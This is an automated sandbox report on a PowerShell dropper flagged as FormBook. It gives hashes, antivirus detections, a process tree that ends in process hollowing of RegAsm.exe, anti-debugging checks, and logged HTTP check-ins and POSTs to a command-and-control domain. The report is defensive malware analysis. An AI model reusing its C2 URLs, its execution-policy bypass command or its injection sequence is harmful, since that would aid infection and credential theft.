Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Dec. 16, 2024, 6:21 p.m.	Dec. 16, 2024, 6:39 p.m.

Size	430.8KB
Type	ASCII text, with very long lines, with CRLF line terminators
MD5	`f69b016d952adc017710ec876b525327`
SHA256	`f501e8beb30f182bc162d14575ee29632bf20e91795680f3ca920545ff1e80e5`
CRC32	`0BA2F6C7`
ssdeep	`6144:lLd9qzqbM7iCFFGkqGgsYkzd9JpExVcZ1WCrKNkybbZTVVPIrzxcdt:l5szKwtFGkf5dLOqWzmKbZTUfOr`
Yara	hide_executable_file - Hide executable file

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\xx.ps1
1508
- x.exe "C:\Users\test22\AppData\Local\Temp\x.exe"
  2140
  - RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    2212

Name	Response	Post-Analysis Lookup
www.duwixushx.xyz	A 156.251.17.224	156.251.17.224
www.sqlite.org	A 45.33.6.223	45.33.6.223

IP Address	Status	Action
156.251.17.224	Active	Moloch
164.124.101.2	Active	Moloch
45.33.6.223	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49175 -> 156.251.17.224:80	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Dec. 16, 2024, 6:13 p.m.			0	0
IsDebuggerPresent Dec. 16, 2024, 6:13 p.m.			0	0

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Dec. 16, 2024, 6:13 p.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

Performs some HTTP requests (3 events)

request	POST http://www.duwixushx.xyz/bmve/
request	GET http://www.duwixushx.xyz/bmve/?zER=Rsosln+CouPFD70u1OPXKbJXElFmgu5R0Qz9VzezY2yTYUIF1+nb21DIy1pFOudDIiHjy9JJbERJh7u1Q7B4QPYwE9D6Fj3j1eiWNaQYDUG6o+zT283k7NP57saUsP2d80o7rJ4=&cAItz=FLvgQyU9b0YI
request	GET http://www.sqlite.org/2019/sqlite-dll-win32-x86-3300000.zip

Sends data using the HTTP POST Method (1 event)

request

POST http://www.duwixushx.xyz/bmve/

Allocates read-write-execute memory (usually to unpack itself) (26 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 1508 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0250b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 1508 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0251f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 1508 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024a9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 1508 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05460000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 2140 region_size: 1572864 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x004c0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 2140 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00600000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 2140 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f31000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 2140 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f32000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 2140 region_size: 393216 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00580000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 2140 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 2140 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00522000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 2140 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0053c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 2140 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ab0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 2140 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ab1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 2140 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ab2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 2140 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00555000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 2140 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0055b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 2140 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00557000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 2140 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ab3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 2140 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00546000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 2140 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0052a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 2140 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0054a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 2140 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00547000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 2140 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ab4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 2140 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ab5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 2212 region_size: 3158016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02360000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\x.exe

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: 1940e1bffe788bf80396d5d94828a1d3d8c8d7ba

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 2212 region_size: 290816 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000234	1	0	0

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Dec. 16, 2024, 6:13 p.m.	buffer: MZÿÿ¸@¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $y =`gó=`gó=`gó¦¨ó:`gó¦ªó<`gó¦«ó<`góRich=`góPELcyYà\°p@p@.textZ\ ` base_address: 0x00400000 process_identifier: 2212 process_handle: 0x00000234	1	1	0
WriteProcessMemory Dec. 16, 2024, 6:13 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2212 process_handle: 0x00000234	1	1	0

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Dec. 16, 2024, 6:13 p.m.	buffer: MZÿÿ¸@¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $y =`gó=`gó=`gó¦¨ó:`gó¦ªó<`gó¦«ó<`góRich=`góPELcyYà\°p@p@.textZ\ ` base_address: 0x00400000 process_identifier: 2212 process_handle: 0x00000234	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2140 called NtSetContextThread to modify thread in remote process 2212
NtSetContextThread Dec. 16, 2024, 6:13 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4199344 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000230 process_identifier: 2212	1	0	0

One or more non-whitelisted processes were created (2 events)

parent_process	powershell.exe				martian_process	"C:\Users\test22\AppData\Local\Temp\x.exe"
parent_process	powershell.exe				martian_process	C:\Users\test22\AppData\Local\Temp\x.exe

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2140 resumed a thread in remote process 2212
NtResumeThread Dec. 16, 2024, 6:13 p.m.	thread_handle: 0x00000230 suspend_count: 1 process_identifier: 2212	1	0	0

File has been identified by 25 AntiVirus engines on VirusTotal as malicious (25 events)

Lionic	Trojan.Script.PowerShell.4!c
CTX	powershell.trojan.msilheracles
Skyhigh	BehavesLike.PS.Dropper.gn
ALYac	Gen:Variant.MSILHeracles.191575
VIPRE	Gen:Variant.MSILHeracles.191575
Arcabit	Trojan.MSILHeracles.D2EC57 [many]
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	PowerShell/TrojanDropper.Agent.AFG
Avast	Other:Malware-gen [Trj]
Kaspersky	UDS:DangerousObject.Multi.Generic
BitDefender	Gen:Variant.MSILHeracles.191575
MicroWorld-eScan	Gen:Variant.MSILHeracles.191575
Rising	Dropper.Agent/PS!8.111A0 (TOPIS:E0:ZeM9c7m32mK)
Emsisoft	Gen:Variant.MSILHeracles.191575 (B)
Ikarus	Trojan-Dropper.PowerShell.Agent
FireEye	Gen:Variant.MSILHeracles.191575
Google	Detected
Kingsoft	Script.Ks.Malware.9344
Microsoft	Trojan:MSIL/Formbook.AMCT!MTB
GData	Gen:Variant.MSILHeracles.191575 (2x)
Varist	ABTrojan.UGSW-
Tencent	Win32.Trojan.Generic.Ncnw
huorong	Trojan/PS.Encpe.a
AVG	Other:Malware-gen [Trj]
alibabacloud	Trojan[dropper]:Win/Wacatac.B9nj

Executed a process and injected code into it, probably while unpacking (18 events)

Time & API	Arguments	Status	Return
NtResumeThread Dec. 16, 2024, 6:13 p.m.	thread_handle: 0x000003d4 suspend_count: 1 process_identifier: 1508	1	0
CreateProcessInternalW Dec. 16, 2024, 6:13 p.m.	thread_identifier: 2144 thread_handle: 0x000004d8 process_identifier: 2140 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Users\test22\AppData\Local\Temp\x.exe track: 1 command_line: "C:\Users\test22\AppData\Local\Temp\x.exe" filepath_r: C:\Users\test22\AppData\Local\Temp\x.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000004e0	1	1
NtResumeThread Dec. 16, 2024, 6:13 p.m.	thread_handle: 0x00000500 suspend_count: 1 process_identifier: 1508	1	0
NtResumeThread Dec. 16, 2024, 6:13 p.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2140	1	0
NtResumeThread Dec. 16, 2024, 6:13 p.m.	thread_handle: 0x0000014c suspend_count: 1 process_identifier: 2140	1	0
NtResumeThread Dec. 16, 2024, 6:13 p.m.	thread_handle: 0x00000190 suspend_count: 1 process_identifier: 2140	1	0
NtResumeThread Dec. 16, 2024, 6:13 p.m.	thread_handle: 0x000001ec suspend_count: 1 process_identifier: 2140	1	0
NtGetContextThread Dec. 16, 2024, 6:13 p.m.	thread_handle: 0x000000e0	1	0
NtGetContextThread Dec. 16, 2024, 6:13 p.m.	thread_handle: 0x000000e0	1	0
NtResumeThread Dec. 16, 2024, 6:13 p.m.	thread_handle: 0x000000e0 suspend_count: 1 process_identifier: 2140	1	0
CreateProcessInternalW Dec. 16, 2024, 6:13 p.m.	thread_identifier: 2216 thread_handle: 0x00000230 process_identifier: 2212 current_directory: filepath: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe track: 1 command_line: filepath_r: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000234	1	1
NtGetContextThread Dec. 16, 2024, 6:13 p.m.	thread_handle: 0x00000230	1	0
NtAllocateVirtualMemory Dec. 16, 2024, 6:13 p.m.	process_identifier: 2212 region_size: 290816 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000234	1	0
WriteProcessMemory Dec. 16, 2024, 6:13 p.m.	buffer: MZÿÿ¸@¸º´ Í!¸LÍ!This program cannot be run in DOS mode. $y =`gó=`gó=`gó¦¨ó:`gó¦ªó<`gó¦«ó<`góRich=`góPELcyYà\°p@p@.textZ\ ` base_address: 0x00400000 process_identifier: 2212 process_handle: 0x00000234	1	1
WriteProcessMemory Dec. 16, 2024, 6:13 p.m.	buffer: base_address: 0x00401000 process_identifier: 2212 process_handle: 0x00000234	1	1
WriteProcessMemory Dec. 16, 2024, 6:13 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2212 process_handle: 0x00000234	1	1
NtSetContextThread Dec. 16, 2024, 6:13 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4199344 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000230 process_identifier: 2212	1	0
NtResumeThread Dec. 16, 2024, 6:13 p.m.	thread_handle: 0x00000230 suspend_count: 1 process_identifier: 2212	1	0

The process powershell.exe wrote an executable file to disk which it then attempted to execute (1 event)

file	C:\Users\test22\AppData\Local\Temp\x.exe

xx.ps1

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All